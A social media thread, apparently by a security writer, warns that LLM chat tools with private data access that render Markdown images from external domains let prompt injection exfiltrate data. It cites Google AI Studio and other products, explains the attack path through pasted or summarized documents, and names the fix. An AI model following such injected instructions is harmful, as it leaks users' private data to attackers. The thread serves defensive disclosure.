Email or username:

Password:

Forgot your password?
Simon's posts Post Back to profile
Simon Willison

Your regular reminder to never build a LLM-based chat interface with access to privileged information that can render Markdown images targetting external domains, if you don't want a prompt injection attack to be able to instantly exfiltrate that private data

Today's example is Google AI Studio: simonwillison.net/2024/Aug/7/g

It joins ChatGPT, Google Bard, writer.com, Amazon Q, Google NotebookLM and GitHub Copilot Chat in my collection of products that have made this mistake: simonwillison.net/tags/markdow

7 August at 17:09 | Open on fedi.simonwillison.net
5 comments
Colby Russell

@simon I guess I don't understand how this is an attack. The malicious prompt came from the attacker, but so did everything else. So the attacker already has access to the "exfiltrated" data, right?

Or is there some missing context here?

11 August at 16:01 | Open on kosmos.social
Simon Willison

@colby the attack here happens when I’m using an LLM and I copy in some data (like a document) that, unbeknown to me, contains an attack - eg because I want a summary of it

11 August at 17:07 | Open on fedi.simonwillison.net
Simon Willison

@colby there are a ton of ways this might happen - running LLMs against received emails, running them against content scraped from a URL, running them against Google Docs that have been shared with the user etc

11 August at 17:08 | Open on fedi.simonwillison.net
Colby Russell

@simon I guess it takes some understanding of what Google AI Studio actually is and how it used.

In this case, attacker has advance notice/suspicion that victim will try to use a vulnerable IA to summarize a collection, among which is some text that attacker controls (or has crafted, at least). It's the victim preparing the ZIP, not the attacker.

11 August at 17:41 | Open on kosmos.social
Simon Willison

@colby yes, exactly - in this attack the attacker has to suspect that a victim will be feeding their attack into a larger prompt for some reason, which means it’s relatively unlikely to affect most people

It still matters though, especially when the mitigation here (don’t render markdown images to external domains) is an obvious fix

Here are the other places I’ve seen fix the same vulnerability: simonwillison.net/tags/markdow

11 August at 17:48 | Open on fedi.simonwillison.net
Go Up